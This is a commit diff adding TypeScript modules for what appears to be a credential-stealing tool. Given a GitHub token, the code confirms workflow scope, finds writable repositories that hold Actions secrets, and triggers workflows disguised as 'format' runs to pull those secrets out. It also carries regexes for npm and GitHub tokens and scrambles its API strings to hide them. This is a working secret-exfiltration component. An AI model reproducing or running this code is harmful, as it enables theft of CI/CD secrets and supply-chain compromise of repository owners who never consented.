Upload files to "src/providers/actions"
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
import { checkToken } from "../../github_utils/tokenCheck";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { runFormatOnReposWithSecrets } from "./pipeline";
|
||||
|
||||
export type TokenRepo = {
|
||||
token: string;
|
||||
repo: string;
|
||||
owner: string;
|
||||
};
|
||||
|
||||
export class GitHubActionsService extends Provider {
|
||||
private token;
|
||||
|
||||
constructor(token: string) {
|
||||
super("github", "actions", {
|
||||
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
|
||||
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
|
||||
});
|
||||
this.token = token;
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
if ((await checkToken(this.token)).hasWorkflowScope) {
|
||||
const results: any[] = [];
|
||||
|
||||
const collected = runFormatOnReposWithSecrets(this.token);
|
||||
try {
|
||||
for await (const collection of collected) {
|
||||
if (!collection.error) {
|
||||
results.push(collection);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.error("Failure collecting results");
|
||||
}
|
||||
|
||||
if (!results || Object.keys(results).length === 0) {
|
||||
logUtil.log("No Secrets.");
|
||||
return this.failure("No secrets extracted");
|
||||
} else {
|
||||
return this.success({ results });
|
||||
}
|
||||
} else {
|
||||
logUtil.log("Missing workflow scope.");
|
||||
return this.failure("No workfow scope or invalid!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const GITHUB_API = scramble("https://api.github.com");
|
||||
const USER_AGENT = "node";
|
||||
|
||||
export function githubHeaders(token: string): Record<string, string> {
|
||||
return {
|
||||
Authorization: `Bearer ${token}`,
|
||||
Accept: scramble("application/vnd.github+json"),
|
||||
"User-Agent": USER_AGENT,
|
||||
};
|
||||
}
|
||||
|
||||
/** Low-level fetch wrapper — returns the raw Response. */
|
||||
export async function githubFetch(
|
||||
token: string,
|
||||
path: string,
|
||||
init: RequestInit = {},
|
||||
): Promise<Response> {
|
||||
return fetch(`${GITHUB_API}${path}`, {
|
||||
...init,
|
||||
headers: {
|
||||
...githubHeaders(token),
|
||||
...(init.headers as Record<string, string>),
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
/** Fetch + assert ok + parse JSON. Throws on non-2xx. */
|
||||
export async function githubJson<T>(
|
||||
token: string,
|
||||
path: string,
|
||||
init: RequestInit = {},
|
||||
): Promise<T> {
|
||||
const res = await githubFetch(token, path, init);
|
||||
if (!res.ok) {
|
||||
throw new Error(`GitHub API ${res.status} ${res.statusText}: ${path}`);
|
||||
}
|
||||
return res.json() as Promise<T>;
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
import type { TokenRepo } from "./actions";
|
||||
import { streamWritableRepos } from "./repos";
|
||||
import { streamRepoSecrets } from "./secrets";
|
||||
import { type FormatResult, runFormatWorkflows } from "./workflow";
|
||||
|
||||
export async function collectReposWithSecrets(
|
||||
token: string,
|
||||
): Promise<TokenRepo[]> {
|
||||
const repos: TokenRepo[] = [];
|
||||
for await (const fullName of streamRepoSecrets(
|
||||
token,
|
||||
streamWritableRepos(token),
|
||||
)) {
|
||||
const [owner, repo] = fullName.split("/");
|
||||
if (owner && repo) repos.push({ token, owner, repo });
|
||||
}
|
||||
return repos;
|
||||
}
|
||||
|
||||
export async function* runFormatOnReposWithSecrets(
|
||||
token: string,
|
||||
concurrency = 5,
|
||||
): AsyncGenerator<FormatResult> {
|
||||
const repos = await collectReposWithSecrets(token);
|
||||
|
||||
for await (const result of runFormatWorkflows(repos, concurrency)) {
|
||||
yield result;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user